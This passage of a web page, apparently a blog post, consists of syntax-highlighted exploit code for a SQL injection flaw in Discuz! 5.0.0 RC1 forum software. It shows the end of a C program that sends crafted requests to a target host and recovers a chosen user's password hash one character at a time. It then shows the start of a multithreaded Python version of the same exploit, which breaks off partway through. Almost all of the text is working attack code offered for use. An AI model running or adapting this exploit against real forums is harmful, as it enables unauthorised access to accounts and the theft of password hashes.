align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HPost[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(chrnum&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">temp1);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;connect(Socket</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">(SOCKADDR&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">ServerAddr</span><span style="COLOR: #000000">,</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(ServerAddr));<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;send(Socket</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">temp1</span><span style="COLOR: #000000">,</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(temp1)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">sleep(1);</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">((ren&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;recv(Socket</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">temp2</span><span style="COLOR: #000000">+</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(temp2)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">10240</span><span style="COLOR: #000000">-</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(temp2)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">))</span><span style="COLOR: #000000">&lt;=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">){;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(chrnum&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">temp2);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(chrnum&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;&amp;</span><span style="COLOR: #000000">&nbsp;(p&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">strstr</span><span style="COLOR: #000000">(temp2</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">SELECT</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">))&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;&amp;</span><span style="COLOR: #000000">&nbsp;(p&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">strstr</span><span style="COLOR: #000000">(temp2</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">array_merge</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">))&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stderr</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n[-]&nbsp;Unvulnerable&nbsp;host\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">((p&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">strstr</span><span style="COLOR: #000000">(temp2</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ip3</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">))&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(Socket);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;ascii;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;close(Socket);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>int&nbsp;main(int&nbsp;argc</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">argv[])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;i&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">j&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">ret&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Discuz!&nbsp;5.0.0&nbsp;RC1&nbsp;SQL&nbsp;injection&nbsp;exploit\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Codz&nbsp;by&nbsp;wofeiwo&nbsp;wofeiwo[0x40]gmail[0x2C]com\r\n\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(argc&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stderr</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Usage:&nbsp;%s&nbsp;&lt;host&gt;&nbsp;&lt;port&gt;&nbsp;&lt;path&gt;&nbsp;&lt;uid&gt;\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stderr</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Example:&nbsp;%s&nbsp;localhost&nbsp;80&nbsp;/dz/&nbsp;1\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">[+]&nbsp;Connect&nbsp;%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">[+]&nbsp;Trying&nbsp;..\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">[+]&nbsp;Plz&nbsp;wait&nbsp;a&nbsp;monment&nbsp;..\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">[+]&nbsp;The&nbsp;uid&nbsp;=&nbsp;%s&nbsp;password&nbsp;hash&nbsp;is:&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">]);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">(j&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">;&nbsp;j&nbsp;</span><span style="COLOR: #000000">&lt;=</span><span style="COLOR: #000000">&nbsp;PASSLEN;&nbsp;j</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">(i&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">48</span><span style="COLOR: #000000">;&nbsp;i&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">58</span><span style="COLOR: #000000">;&nbsp;i</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(ret&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)&nbsp;ret&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;sanddata(argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;atoi(argv[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">])</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;i</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;j);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%c</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;ret);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;finded;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">(i&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">98</span><span style="COLOR: #000000">;&nbsp;i&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">123</span><span style="COLOR: #000000">;&nbsp;i</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(ret&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)&nbsp;ret&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;sanddata(argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;atoi(argv[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">])</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;i</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;j);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%c</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;ret);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;finded;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finded</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;ret&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">[+]&nbsp;Finished\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">#</span><span style="COLOR: #008000">!/usr/bin/python</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">&nbsp;Discuz!&nbsp;5.0.0&nbsp;RC1&nbsp;SQL&nbsp;injection&nbsp;exploit&nbsp;(MultiThread&nbsp;Version)</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">&nbsp;Author:&nbsp;wofeiwo</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">&nbsp;Date:&nbsp;Aug&nbsp;13th&nbsp;2006</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000">&nbsp;sys&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000">&nbsp;httplib<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000">&nbsp;threading<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">from</span><span style="COLOR: #000000">&nbsp;urlparse&nbsp;</span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000">&nbsp;urlparse<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">from</span><span style="COLOR: #000000">&nbsp;time&nbsp;</span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000">&nbsp;sleep<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>password&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;{</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">6</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">7</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">8</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">9</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">10</span><span style="COLOR: #000000">:</span><span style="COLOR: 